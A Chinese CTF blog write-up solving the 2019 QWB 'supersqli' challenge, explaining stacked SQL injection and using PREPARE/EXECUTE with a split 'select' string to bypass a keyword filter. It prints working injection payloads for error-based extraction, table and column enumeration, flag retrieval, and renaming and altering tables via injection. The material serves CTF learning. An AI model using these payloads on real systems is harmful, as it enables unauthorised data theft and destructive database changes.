HacKerQWQ的博客空间

堆叠注入、预定义sql语句的知识及例题

ctf sql
Word count: 303Reading time: 1 min
2020/08/14 Share

2019-强网杯supersqli

随便输入一下发现select等关键词被过滤

尝试绕过关键词，%0a、<\a>、十六进制，内联注释都不行

解法一

前置知识：堆叠注入

显示列信息

  • show columns from table_name
  • desc table_name
  • select * from information_schema.columns where table_schema="" and table_name=""

使用;分隔命令，从而执行多个命令

payload:爆数据库

1
1'/**/and/**/extractvalue(1,concat(0x7e,database()))%23

payload:看表名

1
1';use/**/supersqli;show/**/tables%23

payload: 看1919810931114514内的字段

1
1';use/**/supersqli;show/**/columns/**/from/**/`1919810931114514`%23

payload:看flag

1
1';use/**/supersqli;SET/**/@sql=concat('s','elect/**/`flag`/**/from/**/`1919810931114514`');PREPARE/**/PRE/**/from/**/@sql;execute/**/PRE;%23

知识：

1
2
3
4
5
SET/**/@sql=concat('s','elect/**/`flag`/**/from/**/`1919810931114514`');   #设置变量

PREPARE/**/PRE/**/from/**/@sql;  #预定义SQL语句

EXECUTE PRE;  #执行预定义SQL语句

解法二

由于数据库默认从words数据库中获取，所以可以更改数据库名字从含flag的数据库里面取数据

1
http://159.138.137.79:53698/?inject=1' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);

  • 更改表的名字

  • RENAME TABLE tbl_name TO new_tbl_name[, tbl_name2 TO new_tbl_name2,...]

  • alter table table_name to new name

更改字段的名字

  • alter table t_app change name app_name varchar(20) not null;

Author：HacKerQWQ

原文链接：https://hackerqwq.github.io/2020/08/14/2019-%E5%BC%BA%E7%BD%91%E6%9D%AF-suersqli/

发表日期：August 14th 2020, 9:19:49 pm

更新日期：April 18th 2021, 12:28:34 am

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
  1. 1. 2019-强网杯supersqli
    1. 1.1. 解法一
    2. 1.2. 解法二
Total : 163
2023
2022
2021
2020
ctf PHP反序列化 sql jwt 2021CISCN 文件上传 uncide欺骗 无列名注入 php反射类利用 2021红明谷 输入法取证 盲水印隐写 哈夫曼编码 流量分析 Android md5 shtml 2020CISCN png结构 CRC32 Crypto Java安全 intro 权限提升 Docker CVE Hash php_upload_progress_session hash长度拓展攻击 红蓝对抗 MySQL PHP代码审计 PHP 2021Nep 命令执行 PHP原生类 云函数 JAVA_WEB ThinkPHP 原型链污染 nodejs 源码泄露 SSTI 漏洞分析 渗透测试 代码审计 JAJA XML 漏洞 免杀 机器学习 XSS XXE 硬件安全 社工 编码漏洞 nginx常见文件位置 .htaccess利用 HTTP协议 内网渗透 横向移动 漏洞利用 metasploit 信息收集 CTF PHP伪协议 php pickle 逻辑漏洞 2019CISCN python 多线程 misc图像处理 Nginx LFI redis攻防 提权 C 代码执行 渗透 权限维持 bugs phar反序列化 变量覆盖漏洞 扫描软件 弱类型比较 Django rar伪加密 二维码 文件上传漏洞 文件包含 文件读取漏洞 无参数构造payload 神经网络 红队 SSRF url取反绕过 misc_zip create_function注入 零宽度字符